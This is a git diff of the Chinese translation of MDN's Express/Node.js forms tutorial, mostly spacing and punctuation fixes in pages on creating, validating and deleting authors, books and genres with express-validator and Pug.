对象是否已存在。可以说,我们应该这样做,尽管现在我们可以有多个具有相同名称的作者。验证代码演示了几个新功能:
@@ -97,7 +97,7 @@控制器—post 路
-
- 参数从请求中作为字符串接收。我们可以使用
toDate()
(或toBoolean()
等)将这些转换为正确的JavaScript类型。 +- 参数从请求中作为字符串接收。我们可以使用
@@ -130,26 +130,26 @@toDate()
(或toBoolean()
等)将这些转换为正确的 JavaScript 类型。sanitizeBody('date_of_birth').toDate(),
视图
此视图的结构和行为与genre_form.pug模板完全相同,因此我们不再对其进行描述。
--注意: 某些浏览器不支持input
+type=“date”
,因此您不会获得日期选取部件或默认的dd/mm/yyyy
占位符,而是获取一个空的纯文本字段。一种解决方法,是明确添加属性placeholder='dd/mm/yyyy'
,以便在功能较少的浏览器上,仍然可以获得有关所需文本格式的信息。注意: 某些浏览器不支持 input
type=“date”
,因此您不会获得日期选取部件或默认的dd/mm/yyyy
占位符,而是获取一个空的纯文本字段。一种解决方法,是明确添加属性placeholder='dd/mm/yyyy'
,以便在功能较少的浏览器上,仍然可以获得有关所需文本格式的信息。自我挑战: 加入死亡日期
+自我挑战:加入死亡日期
上面的模板少了一个输入字段
-date_of_death
。依照跟生日表单同样的模式,创建此字段!它看起來像是?
+它看起來像是?
运行本应用,打开浏览器访问网址http://localhost:3000/,然后点击创建新作者 Create new author 连结。如果每个东西都设定正确了,你的网站看起应该像底下的截图。在你输入一个值之后,它应该会被储存,并且你将被带到作者详细信息页面。
-注意: 如果您尝试使用日期的各种输入格式,您可能会发现格式
+yyyy-mm-dd
行为不正常。这是因为 JavaScript 将日期字符串,视为包含 0 小时的时间,但另外将该格式的日期字符串(ISO 8601标准)视为包括 0 小时 UTC 时间,而不是本地时间。如果您的时区在 UTC 以西,则日期显示(即本地)将在您输入的日期之前一天。这是我们在这里没有解决的几个复杂问题之一(例如多字姓和有多个作者的书本)。注意: 如果您尝试使用日期的各种输入格式,您可能会发现格式
yyyy-mm-dd
行为不正常。这是因为 JavaScript 将日期字符串,视为包含 0 小时的时间,但另外将该格式的日期字符串(ISO 8601 标准)视为包括 0 小时 UTC 时间,而不是本地时间。如果您的时区在 UTC 以西,则日期显示(即本地)将在您输入的日期之前一天。这是我们在这里没有解决的几个复杂问题之一(例如多字姓和有多个作者的书本)。下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/create_book_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/create_book_form/index.html index 4b460b36eaa74a..b71f35b6d4155b 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/forms/create_book_form/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/create_book_form/index.html @@ -34,7 +34,7 @@
- 回到 Express 教程 6: 使用表单
-- 继续教程 6 的下一个部分: 创建书本表单
+- 继续教程 6 的下一个部分:创建书本表单
控制器—get 路由 }; -
这使用异步模块 async(在教程5:显示数据库中的数据),来获取所有作者和种类对象。然后将它们作为名为
+authors
和genres
的变量(以及页面标题title
),传递给视图book_form.pug
。这使用异步模块 async(在教程 5:显示数据库中的数据),来获取所有作者和种类对象。然后将它们作为名为
authors
和genres
的变量(以及页面标题title
),传递给视图book_form.pug
。控制器—post 路由
@@ -131,7 +131,7 @@控制器—post 路 next(); }, -
然后,我们在清理器中使用通配符(*)来单独验证每个种类数组条目。下面的代码显示了 - 这转换为 “清理关键种类
+genre
下的每个项目”。然后,我们在清理器中使用通配符(*)来单独验证每个种类数组条目。下面的代码显示了 - 这转换为“清理关键种类
genre
下的每个项目”。sanitizeBody('genre.*').trim().escape(),@@ -194,14 +194,14 @@视图
- 种类集合显示为复选框,使用我们在控制器中设置的检查值
checked
,来确定是否应该选中该框。- 作者集合显示为单选下拉列表。在这种情况下,我们通过比较当前作者选项的 id 与用户先前输入的值(作为
-book
变量传入),来确定要显示的作者。这在上面突出显示!-注意: 如果提交的表单中存在错误,那么,当要重新呈现表单时,新的书本作者仅使用字符串(作者列表中选中选项的值)进行标识。相比之下,现有的书本作者的
+_id
属性不是字符串。因此,要比较新的和现有的,我们必须将每个现有书本作者的_id
,强制转换为字符串,如上所示。注意: 如果提交的表单中存在错误,那么,当要重新呈现表单时,新的书本作者仅使用字符串(作者列表中选中选项的值)进行标识。相比之下,现有的书本作者的
_id
属性不是字符串。因此,要比较新的和现有的,我们必须将每个现有书本作者的_id
,强制转换为字符串,如上所示。它看起來像是?
+它看起來像是?
-运行应用程序,将浏览器打开到http://localhost:3000,然后选择Create new book链接。如果一切设置正确,您的网站应该类似于以下屏幕截图。提交有效的图书后,应将其保存,然后您将进入图书详细信息页面。
+运行应用程序,将浏览器打开到http://localhost:3000,然后选择 Create new book 链接。如果一切设置正确,您的网站应该类似于以下屏幕截图。提交有效的图书后,应将其保存,然后您将进入图书详细信息页面。
@@ -209,4 +209,4 @@下一步
-继续教程 6 的下一个部分: 创建书本实例表单
+继续教程 6 的下一个部分:创建书本实例表单
diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html index a112a4b0bb3203..d471ccc7da51f5 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html @@ -7,7 +7,7 @@导入验证和清理方法
-打开 /controllers/bookinstanceController.js,并在档案最上方加入以下几行:
+打开 /controllers/bookinstanceController.js,并在档案最上方加入以下几行:
@@ -133,10 +133,10 @@const { body,validationResult } = require('express-validator/check'); const { sanitizeBody } = require('express-validator/filter');
视图
这个视图的结构和行为,几乎等同于 book_form.pug 模板,因此我们就不再重覆说明一次了。
--注意: 以上的模板将状态值 (Maintenance, Available, 等等) 写死在代码里,而且不能 "记忆" 使用者的输入值。如果你愿意的话,考虑重新实作此列表,当表单被重新呈现时,从控制器传入选项数据,并设定选中的值。
+注意: 以上的模板将状态值 (Maintenance, Available, 等等) 写死在代码里,而且不能 "记忆" 使用者的输入值。如果你愿意的话,考虑重新实作此列表,当表单被重新呈现时,从控制器传入选项数据,并设定选中的值。
它看起來像是?
+它看起來像是?
运行本应用,打开浏览器访问网址 http://localhost:3000/。然后点击创建新书本实例 Create new book instance (copy) 连结。如果每个东西都设定正确了,你的网站看起应该像底下的截图。在你提交一个有效的
@@ -146,5 +146,5 @@BookInstance
之后,它应该会被储存,并且你将被带到详细信息页面。下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/create_genre_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/create_genre_form/index.html index 196e49e37ff9ed..e69120ef9ec966 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/forms/create_genre_form/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/create_genre_form/index.html @@ -14,9 +14,9 @@
- 回到 Express 教程 6: 使用表单
-- 继续教程 6 的下一个部分: 删除作者表单
+- 继续教程 6 的下一个部分:删除作者表单
引入验证
-const { body,validationResult } = require('express-validator/check'); const { sanitizeBody } = require('express-validator/filter');
控制器—get路由
+控制器—get 路由
-找到导出的
+genre_create_get()
控制器方法,并将其替换为以下代码。这只是渲染genre_form.pug视图,传递一个title变量。找到导出的
genre_create_get()
控制器方法,并将其替换为以下代码。这只是渲染genre_form.pug视图,传递一个 title 变量。-// Display Genre create form on GET. exports.genre_create_get = function(req, res, next) { @@ -85,7 +85,7 @@
控制器—post 路
-注意: 这种方法是必需的,因为消毒/验证器是中间件功能。
+注意: 这种方法是必需的,因为消毒/验证器是中间件功能。
数组中的第一个方法定义了一个验证器(
@@ -102,7 +102,7 @@body
),来检查 name 字段是否为空(在执行验证之前调用trim()
,以删除任何尾随/前导空格)。控制器—post 路
-注意: 验证期间运行的清洁器不会修改请求。这就是为什么我们必须在上面的两个步骤中调用
+trim()
!注意: 验证期间运行的清洁器不会修改请求。这就是为什么我们必须在上面的两个步骤中调用
trim()
!在指定验证器和清理器之后,我们创建了一个中间件函数,来提取任何验证错误。我们使用
@@ -156,7 +156,7 @@isEmpty()
来检查验证结果中,是否有任何错误。如果有,那么我们再次渲染表单,传入我们的已清理种类对象和错误消息的数组(errors.array()
)。视图
当我们创建一个新的种类
-Genre
时,在GET
和POST
控制器/路由中,都会呈现相同的视图(稍后在我们更新种类Genre
时也会使用它)。在
+GET
情况下,表单为空,我们只传递一个title变量。在POST
情况下,用户先前输入了无效数据 - 在种类变量genre
中,我们传回了输入数据的已清理版本,并且在errors
变量中,我们传回了一组错误消息。在
GET
情况下,表单为空,我们只传递一个 title 变量。在POST
情况下,用户先前输入了无效数据 - 在种类变量genre
中,我们传回了输入数据的已清理版本,并且在errors
变量中,我们传回了一组错误消息。@@ -179,19 +179,19 @@res.render('genre_form', { title: 'Create Genre'}); res.render('genre_form', { title: 'Create Genre', genre: genre, errors: errors.array()});
视图
for error in errors li!= error.msg从我们之前的教程中,可以很好地理解这个模板的大部分内容。首先,我们扩展 layout.pug基本模板,并覆盖名为 “content” 的块
+block
。然后我们有一个标题,我们从控制器传入的标题title
(通过render()
方法)。从我们之前的教程中,可以很好地理解这个模板的大部分内容。首先,我们扩展 layout.pug基本模板,并覆盖名为“content”的块
-block
。然后我们有一个标题,我们从控制器传入的标题title
(通过render()
方法)。接下来,我们有 HTML表单的 Pug 代码,它使用
+POST
方法将数据发送到服务器,并且因为操作action
是空字符串,所以将数据发送到与页面相同的URL。接下来,我们有 HTML 表单的 Pug 代码,它使用
-POST
方法将数据发送到服务器,并且因为操作action
是空字符串,所以将数据发送到与页面相同的 URL。表单定义了一个名为 “name” 的 “text” 类型的必填字段。字段的默认值,取决于是否定义了种类变量
+genre
。如果从GET
路由调用,它将为空,因为这是一个新表单。如果从POST
路由调用,它将包含用户最初输入的(无效)值。表单定义了一个名为“name”的“text”类型的必填字段。字段的默认值,取决于是否定义了种类变量
genre
。如果从GET
路由调用,它将为空,因为这是一个新表单。如果从POST
路由调用,它将包含用户最初输入的(无效)值。页面的最后一部分是错误代码。如果已定义错误变量,则只会打印错误列表(换句话说,当模板在
GET
路由上呈现时,此部分不会出现)。--注意: 这只是呈现错误的一种方法。您还可以从错误变量中,获取受影响字段的名称,并使用这些,来控制错误消息的呈现位置,以及是否应用自定义 CSS 等。
+注意: 这只是呈现错误的一种方法。您还可以从错误变量中,获取受影响字段的名称,并使用这些,来控制错误消息的呈现位置,以及是否应用自定义 CSS 等。
它看起來像是?
+它看起來像是?
运行应用程序,打开浏览器到http://localhost:3000/,然后选择 Create new genre 链接。如果一切设置正确,您的网站应该类似于以下屏幕截图。输入值后,应保存该值,您将进入种类详细信息页面。
@@ -202,7 +202,7 @@它看起來像是?
-@@ -211,7 +211,7 @@注意: 我们的验证使用
+trim()
,来确保不接受空格作为种类名称。我们还可以在表单中的字段定义中,添加值required='true'
,来验证客户端字段不为空:注意: 我们的验证使用
trim()
,来确保不接受空格作为种类名称。我们还可以在表单中的字段定义中,添加值required='true'
,来验证客户端字段不为空:input#name.form-control(type='text', placeholder='Fantasy, Poetry etc.' name='name' value=(undefined===genre ? '' : genre.name), required='true' )
下一步
- 回到 Express 教程 6: 使用表单
-- 继续教程 6 下一个部分: 创建作者表单
+- 继续教程 6 下一个部分:创建作者表单
diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/delete_author_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/delete_author_form/index.html index 3b38e85e8ac667..17b61b6fddfd1a 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/forms/delete_author_form/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/delete_author_form/index.html @@ -5,7 +5,7 @@ ---此子文档显示,如何定义页面以删除
-Author
对象。正如表单设计部分所讨论的那样,我们的策略是,只允许删除 “未被其他对象引用” 的对象(在这种情况下,这意味着如果作者
+Author
被一本书Book
引用,我们将不允许删除作者)。在实现方面,这意味着,表单需要在删除作者之前,先确认没有关联的书籍。如果存在关联的书籍,则应显示它们,并说明在删除Author
对象之前,必须删除它们。正如表单设计部分所讨论的那样,我们的策略是,只允许删除“未被其他对象引用”的对象(在这种情况下,这意味着如果作者
Author
被一本书Book
引用,我们将不允许删除作者)。在实现方面,这意味着,表单需要在删除作者之前,先确认没有关联的书籍。如果存在关联的书籍,则应显示它们,并说明在删除Author
对象之前,必须删除它们。控制器—get 路由
@@ -32,10 +32,10 @@控制器—get 路由 }; -
控制器从URL参数(
+req.params.id
)中,获取要删除的Author
实例的 id。它使用async.parallel()
方法,并行获取作者记录和所有相关书本。当两个操作都完成后,它将呈现author_delete
.pug视图,为title
、author
、和author_books
传递变量。控制器从 URL 参数(
req.params.id
)中,获取要删除的Author
实例的 id。它使用async.parallel()
方法,并行获取作者记录和所有相关书本。当两个操作都完成后,它将呈现author_delete
.pug视图,为title
、author
、和author_books
传递变量。-注意: 如果
+findById()
返回“没有结果”,则作者不在数据库中。在这种情况下,没有什么可以删除,所以我们立即呈现所有作者的列表。注意: 如果
findById()
返回“没有结果”,则作者不在数据库中。在这种情况下,没有什么可以删除,所以我们立即呈现所有作者的列表。-}, function(err, results) { if (err) { return next(err); } @@ -77,10 +77,10 @@
控制器—post 路 }); };
首先,我们验证是否已提供id(这是通过表单主体参数发送的,而不是使用URL中的版本)。然后我们以与
+GET
路由相同的方式,获得作者及其相关书本。如果没有书本,那么我们删除作者对象,并重定向到所有作者的列表。如果还有书本,那么我们只需重新呈现表格,传递作者和要删除的书本列表。首先,我们验证是否已提供 id(这是通过表单主体参数发送的,而不是使用 URL 中的版本)。然后我们以与
GET
路由相同的方式,获得作者及其相关书本。如果没有书本,那么我们删除作者对象,并重定向到所有作者的列表。如果还有书本,那么我们只需重新呈现表格,传递作者和要删除的书本列表。-注意: 我们可以检查对
+findById()
的调用,是否返回任何结果,如果没有,则立即呈现所有作者的列表。为简洁起见,我们将代码保留在上面(如果找不到id,它仍会返回作者列表,但这将在findByIdAndRemove()
之后发生)。注意: 我们可以检查对
findById()
的调用,是否返回任何结果,如果没有,则立即呈现所有作者的列表。为简洁起见,我们将代码保留在上面(如果找不到 id,它仍会返回作者列表,但这将在findByIdAndRemove()
之后发生)。视图
@@ -120,7 +120,7 @@视图
- 如果存在与作者相关联的书本,则该页面列出书本,并说明在删除该作者
-Author
之前,必须删除这些书籍。- 如果没有书本,则页面会显示确认提示。如果单击“删除”Delete按钮,则会在
+POST
请求中,将作者ID发送到服务器,并且将删除该作者的记录。- 如果没有书本,则页面会显示确认提示。如果单击“删除”Delete按钮,则会在
POST
请求中,将作者 ID 发送到服务器,并且将删除该作者的记录。加入一个删除控制器
@@ -128,7 +128,7 @@加入一个删
接下来,我们将向 Author 详细视图添加 Delete 控件(详细信息页面是删除记录的好地方)。
-注意: 在完整实现中,控件将仅对授权用户可见。但是在这个时间点上,我们还没有一个授权系统!
+注意: 在完整实现中,控件将仅对授权用户可见。但是在这个时间点上,我们还没有一个授权系统!
打开 author_detail.pug 视图,并在底部添加以下行。
@@ -141,7 +141,7 @@加入一个删
-它看起來像是?
+它看起來像是?
运行应用程序,并将浏览器打开,到http://localhost:3000/。然后选择所有作者链接 All authors,然后选择一个特定作者。最后选择删除作者链接 Delete author。
@@ -154,12 +154,12 @@它看起來像是?
-注意: 其他删除对象的页面,可以用相同的方式实现。我们把它留下,作为挑战。
+注意: 其他删除对象的页面,可以用相同的方式实现。我们把它留下,作为挑战。
下一步
diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/index.html index 1b1eb4a2ff8f82..54bbfd4a355752 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/forms/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/index.html @@ -7,18 +7,18 @@
- 回到 Express 教程 6: 使用表单
-- 继续教程 6 子文档的下一步: 更新书本表单
+- 继续教程 6 子文档的下一步:更新书本表单
{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs/deployment", "Learn/Server-side/Express_Nodejs")}}-在此教程中我们会教你如何使用Express并且结合Pug来实现HTML表单,并且如何从数据库中创建,更新和删除文档。
+在此教程中我们会教你如何使用 Express 并且结合 Pug 来实现 HTML 表单,并且如何从数据库中创建,更新和删除文档。
- 前提条件: +前提条件: - 完成前面所有的教程,包括 Express 教程第5章: 展示图书馆数据
+完成前面所有的教程,包括 Express 教程第 5 章:展示图书馆数据
- 目标: +目标: @@ -28,25 +28,25 @@ 了解如何编写表单获取用户信息,并且将这些数据更新到数据库中。
概览
-HTML表单在网页中是一个或多个字段/小工具的集合,它被用来收集用户的信息,并将信息上传到服务器。表单作为一种用来收集用户的机制,非常的灵活,因为有各种合适的输入框,来接受各种类型的数据——文本框,复选框,单选按钮,时间选择器等。表单和服务器交互数据也相对安全,因为它使用POST请求发送数据,保护不受跨站点请求伪造攻击(cross-site request forgery)的威胁。
+HTML 表单在网页中是一个或多个字段/小工具的集合,它被用来收集用户的信息,并将信息上传到服务器。表单作为一种用来收集用户的机制,非常的灵活,因为有各种合适的输入框,来接受各种类型的数据——文本框,复选框,单选按钮,时间选择器等。表单和服务器交互数据也相对安全,因为它使用POST请求发送数据,保护不受跨站点请求伪造攻击(cross-site request forgery)的威胁。
但是表单同样也很复杂!开发者需要为表单编写 HTML,在服务器上验证,并且正确去除有害的数据(浏览器上也可能需要),对于任何不合法的字段,需要传给用户相应的错误信息,当数据成功提交后,处理数据,并设法通知用户提交成功。
此教程将展示上述的操作,如何在 Express 中实现。在此过程中,我们将扩展 LocalLibrary 网站,以允许用户创建,编辑和删除图书馆中的项目。
--注意: 我们还没有考虑如何将特定路由,限制为经过身份验证或授权的用户,因此在这个时间点,任何用户都可以对数据库进行更改。
+注意: 我们还没有考虑如何将特定路由,限制为经过身份验证或授权的用户,因此在这个时间点,任何用户都可以对数据库进行更改。
HTML表单
+HTML 表单
-首先简要概述HTML表单。考虑一个简单的HTML表单,其中包含一个文本字段,用于输入某些 “团队” 的名称,及其相关标签:
+首先简要概述HTML 表单。考虑一个简单的 HTML 表单,其中包含一个文本字段,用于输入某些“团队”的名称,及其相关标签:
-表单在HTML中,定义为
+<form>...</form>
标记内的元素集合,包含至少一个type="submit"
的input
输入元素。表单在 HTML 中,定义为
-<form>...</form>
标记内的元素集合,包含至少一个type="submit"
的input
输入元素。请注意,我非常建议您这里使用input的submit而不是button!这会使你感到愉悦。
+请注意,我非常建议您这里使用 input 的 submit 而不是 button!这会使你感到愉悦。
<form action="/team_name_url/" method="post"> <label for="team_name">Enter name: </label> @@ -54,25 +54,25 @@-HTML表单
<input type="submit" value="OK"> </form>虽然这里,我们只包含一个(文本)字段,用于输入团队名称,但表单可能包含任意数量的其他输入元素,及其相关标签。字段的
+type
属性,定义将显示哪种窗口小部件。该字段的名称name
和id
,用于标识JavaScript/CSS/HTML 中的字段,而value
定义字段首次显示时的初始值。匹配团队标签使用label
标签,指定(请参阅上面的“输入名称” "Enter name"),其中for
字段,包含input
相关输入的id
值。虽然这里,我们只包含一个(文本)字段,用于输入团队名称,但表单可能包含任意数量的其他输入元素,及其相关标签。字段的
-type
属性,定义将显示哪种窗口小部件。该字段的名称name
和id
,用于标识 JavaScript/CSS/HTML 中的字段,而value
定义字段首次显示时的初始值。匹配团队标签使用label
标签,指定(请参阅上面的“输入名称” "Enter name"),其中for
字段,包含input
相关输入的id
值。另外,有必要说一下,HTML中form表单默认就是以post提交的。它比get方式存储量更大、传输更安全。
+另外,有必要说一下,HTML 中 form 表单默认就是以 post 提交的。它比 get 方式存储量更大、传输更安全。
-提交输入(
+submit
)将显示为按钮(默认情况下) - 用户可以按此按钮,将其他输入元素包含的数据,上传到服务器(在本例中,只有team_name
)。表单属性,定义用于发送数据的HTTPmethod
方法,和服务器上数据的目标(action
):提交输入(
submit
)将显示为按钮(默认情况下) - 用户可以按此按钮,将其他输入元素包含的数据,上传到服务器(在本例中,只有team_name
)。表单属性,定义用于发送数据的 HTTPmethod
方法,和服务器上数据的目标(action
):-
- -
action
: 提交表单时,要发送数据以进行处理的资源/ URL。如果未设置(或设置为空字符串),则表单将提交回当前页面URL。method
: 用于发送数据的HTTP方法:POST
或GET
。 +- +
action
: 提交表单时,要发送数据以进行处理的资源/ URL。如果未设置(或设置为空字符串),则表单将提交回当前页面 URL。method
: 用于发送数据的 HTTP 方法:POST
或GET
。
- 如果数据将导致服务器数据库的更改,则始终应该使用
-POST
方法,因为这更加可以抵抗跨站点伪造请求攻击。- +
GET
方法只应用于不更改用户数据的表单(例如,搜索表单)。当您希望能够为URL添加书签或共享时,建议使用此选项。GET
方法只应用于不更改用户数据的表单(例如,搜索表单)。当您希望能够为 URL 添加书签或共享时,建议使用此选项。表单处理流程
-表单处理使用的技术,与我们学习过、用来显示有关模型的信息的所有技术,是相同的:路由将我们的请求发送到控制器函数,该函数执行所需的任何数据库操作,包括从模型中读取数据,然后生成并返回HTML页面。使事情变得更复杂的是,服务器还需要能够处理用户提供的数据,并在出现任何问题时,重新显示带有错误信息的表单。
+表单处理使用的技术,与我们学习过、用来显示有关模型的信息的所有技术,是相同的:路由将我们的请求发送到控制器函数,该函数执行所需的任何数据库操作,包括从模型中读取数据,然后生成并返回 HTML 页面。使事情变得更复杂的是,服务器还需要能够处理用户提供的数据,并在出现任何问题时,重新显示带有错误信息的表单。
下面显示了处理表单请求的流程图,从包含表单的页面请求开始(以绿色显示):
@@ -86,14 +86,14 @@表单处理流程
- 表单可能包含空白字段(例如,如果您正在创建新记录),或者可能预先填充了初始值(例如,如果您要更改记录,或者具有有用的默认初始值)。
-- 接收用户提交的数据,通常是在HTTP
+POST
请求中。- 接收用户提交的数据,通常是在 HTTP
POST
请求中。- 验证并清理数据。
- 如果任何数据无效,请重新显示表单 - 这次使用用户填写的任何值,和问题字段的错误消息。
- 如果所有数据都有效,请执行所需的操作(例如,将数据保存在数据库中,发送通知电子邮件,返回搜索结果,上传文件等)
- 完成所有操作后,将用户重定向到另一个页面。
-表格处理代码,通常使用
+GET
路由,以实现表单的初始显示,以及POST
路由到同一路径,以处理表单数据的验证和处理。这是将在本教程中使用的方法!Express本身不提供表单处理操作的任何特定支持,但它可以使用中间件,以处理表单中的POST
和GET
参数,并验证/清理它们的值。表格处理代码,通常使用
GET
路由,以实现表单的初始显示,以及POST
路由到同一路径,以处理表单数据的验证和处理。这是将在本教程中使用的方法!Express 本身不提供表单处理操作的任何特定支持,但它可以使用中间件,以处理表单中的POST
和GET
参数,并验证/清理它们的值。验证和清理
@@ -116,7 +116,7 @@安装
使用 express-validator
-注意: Github上的express-validator指南,提供了API的良好概述。我们建议您阅读该内容,以了解其所有功能(包括创建自定义验证程序)。下面我们只介绍一个对LocalLibrary有用的子集。
+注意: Github 上的express-validator指南,提供了 API 的良好概述。我们建议您阅读该内容,以了解其所有功能(包括创建自定义验证程序)。下面我们只介绍一个对 LocalLibrary 有用的子集。
要在我们的控制器中使用验证器,我们必须从'express-validator/check'和'express-validator/filter'模块中,导入我们想要使用的函数,如下所示:
@@ -125,12 +125,12 @@使用 express-validator
const { sanitizeBody } = require('express-validator/filter'); -有许多可用的功能,允许您一次检查和清理请求参数,正文,标头,cookie 等数据,或所有数据。对于本教程,我们主要使用
+body
,sanitizeBody
,和validationResult
(如上面 “导入”的 )。有许多可用的功能,允许您一次检查和清理请求参数,正文,标头,cookie 等数据,或所有数据。对于本教程,我们主要使用
body
,sanitizeBody
,和validationResult
(如上面“导入”的)。功能定义如下:
-
-body(fields[, message])
: 指定请求本文中的一组字段(POST
参数)以及可选的错误消息,如果测试失败,则可以显示该字段。验证标准以菊花链形式连接到body()
方法。例如,下面的第一个检查测试,“name”字段不为空,如果不是,则设置错误消息“Empty name”。第二个测试,检查age字段是否为有效日期,并使用optional()
指定null和空字符串不会验证失败。 +- -
body(fields[, message])
: 指定请求本文中的一组字段(POST
参数)以及可选的错误消息,如果测试失败,则可以显示该字段。验证标准以菊花链形式连接到body()
方法。例如,下面的第一个检查测试,“name”字段不为空,如果不是,则设置错误消息“Empty name”。第二个测试,检查 age 字段是否为有效日期,并使用optional()
指定 null 和空字符串不会验证失败。body('name', 'Empty name').isLength({ min: 1 }), body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(), @@ -142,10 +142,10 @@使用 express-validator
-注意: 您还可以添加内联清理器,如
+trim()
,如上所示。但是,此处应用清理器,仅适用于验证步骤。如果要对最终输出进行消毒,则需要使用单独的清理器方法,如下所示。注意: 您还可以添加内联清理器,如
trim()
,如上所示。但是,此处应用清理器,仅适用于验证步骤。如果要对最终输出进行消毒,则需要使用单独的清理器方法,如下所示。sanitizeBody(fields)
: 指定一个正文要清理的字段。然后将清理操作,以菊花链形式连接到此方法。例如,下面的escape()
清理操作,会从名称变量中,删除可能在JavaScript跨站点脚本攻击中使用的HTML字符。 +- @@ -162,11 +162,11 @@
sanitizeBody(fields)
: 指定一个正文要清理的字段。然后将清理操作,以菊花链形式连接到此方法。例如,下面的escape()
清理操作,会从名称变量中,删除可能在 JavaScript 跨站点脚本攻击中使用的 HTML 字符。sanitizeBody('name').trim().escape(), sanitizeBody('date').toDate(),使用 express-validator
// Data from form is valid. } } - 我们使用验证结果的isEmpty()
方法,来检查是否存在错误,并使用其array()
方法,来获取错误消息集合。有关更多信息,请参阅验证结果API。 + 我们使用验证结果的isEmpty()
方法,来检查是否存在错误,并使用其array()
方法,来获取错误消息集合。有关更多信息,请参阅验证结果 API。验证和清理链,是应该传递给Express路由处理程序的中间件(我们通过控制器,间接地执行此操作)。中间件运行时,每个验证器/清理程序都按指定的顺序运行。
+
- 当我们实现下面的LocalLibrary表单时,我们将介绍一些真实的例子。验证和清理链,是应该传递给 Express 路由处理程序的中间件(我们通过控制器,间接地执行此操作)。中间件运行时,每个验证器/清理程序都按指定的顺序运行。
+ 当我们实现下面的 LocalLibrary 表单时,我们将介绍一些真实的例子。表单设计
@@ -186,25 +186,25 @@表单设计
让我们看看更高级的内容吧:
-我们通常会在“后台”接收form表单提交的数据。显而易见,这里应该是express!
+我们通常会在“后台”接收 form 表单提交的数据。显而易见,这里应该是 express!
-首先我们可以知道(也许你会知道)应该先引入express:
+首先我们可以知道(也许你会知道)应该先引入 express:
const app=express();
这很好。
-那么既然是post提交,给大家推荐一款中间件:body-parser。它能让你轻松地处理body数据。
+那么既然是 post 提交,给大家推荐一款中间件:body-parser。它能让你轻松地处理 body 数据。
-哦,如果你涉及文件上传,那么你可能需要“multer”中间件,你大概听说过“formidable”,但multer比它更强大!
+哦,如果你涉及文件上传,那么你可能需要“multer”中间件,你大概听说过“formidable”,但 multer 比它更强大!
-注意: 更“牢固”的实现,可能允许您在创建新对象时创建依赖对象,并随时删除任何对象(例如,通过删除依赖对象,或从数据库中,删除对已删除对象的引用) 。
+注意: 更“牢固”的实现,可能允许您在创建新对象时创建依赖对象,并随时删除任何对象(例如,通过删除依赖对象,或从数据库中,删除对已删除对象的引用) 。
路由
-为了实现我们的表单处理代码,我们需要两个具有相同URL模式的路由。
+为了实现我们的表单处理代码,我们需要两个具有相同 URL 模式的路由。
第一个(
@@ -253,13 +253,13 @@GET
)路由,用于显示用于创建对象的新空表单。第二个路由(POST
),用于验证用户输入的数据,然后保存信息,并重定向到详细信息页面(如果数据有效),或重新显示有错误的表单(如果数据无效)。挑战自我
- 我们刚刚实施的图书更新页面是最难的!相同的模式可用于其他对象的更新页面。
-- 作者死亡日期和出生日期字段以及书本实例 due_date 字段,是输入到表单上日期输入字段的错误格式(它需要 “YYYY-MM-DD” 形式的数据)。解决此问题的最简单方法,是为适当格式化的日期,定义新的虚拟属性,然后在关联的视图模板中,使用此字段。
+- 作者死亡日期和出生日期字段以及书本实例 due_date 字段,是输入到表单上日期输入字段的错误格式(它需要“YYYY-MM-DD”形式的数据)。解决此问题的最简单方法,是为适当格式化的日期,定义新的虚拟属性,然后在关联的视图模板中,使用此字段。
- 如果您遇到困难,此处示例中的更新页面有一些示例。
总结
-Express, node, 与NPM上面的第三方套件,提供你需要的每样东西 ,可用于新增表单到你的网站上。在本文中,你学到了如何使用Pug, how to create forms using Pug, validate and sanitize input using express-validator, and add, delete, and modify records in the database.
+Express, node, 与 NPM 上面的第三方套件,提供你需要的每样东西,可用于新增表单到你的网站上。在本文中,你学到了如何使用 Pug, how to create forms using Pug, validate and sanitize input using express-validator, and add, delete, and modify records in the database.
你现在应该了解如何新增基本表单,以及表单处理码到你的 node 网站!
@@ -276,7 +276,7 @@本教程
- Express/Node 介绍
- 架设 Node (Express) 开发环境
-- Express 教程: 本地图书馆网站
+- Express 教程:本地图书馆网站
- Express 教程 2: 创建骨架网站
- Express 教程 3: 使用数据库 (Mongoose)
- Express 教程 4: 路由与控制器
diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/update_book_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/update_book_form/index.html index 97794801f54ad2..b129a9ea6df041 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/forms/update_book_form/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/update_book_form/index.html @@ -44,7 +44,7 @@控制器—get 路由 }; -
这个控制器从URL参数(
+req.params.id
)中,取得要更新的书本Book
的 id。它使用async.parallel()
方法,取得指定的书本Book
纪录 (填入它的种类和作者字段) ,并列出所有作者Author
和种类Genre
对象。当所有操作都完成,它用勾选的方式,标记当前选择的种类,并呈现 book_form.pug 视图,传送变数title
、book
、所有authors
、所有genres
。这个控制器从 URL 参数 (
req.params.id
) 中,取得要更新的书本Book
的 id。它使用async.parallel()
方法,取得指定的书本Book
纪录 (填入它的种类和作者字段) ,并列出所有作者Author
和种类Genre
对象。当所有操作都完成,它用勾选的方式,标记当前选择的种类,并呈现 book_form.pug 视图,传送变数title
、book
、所有authors
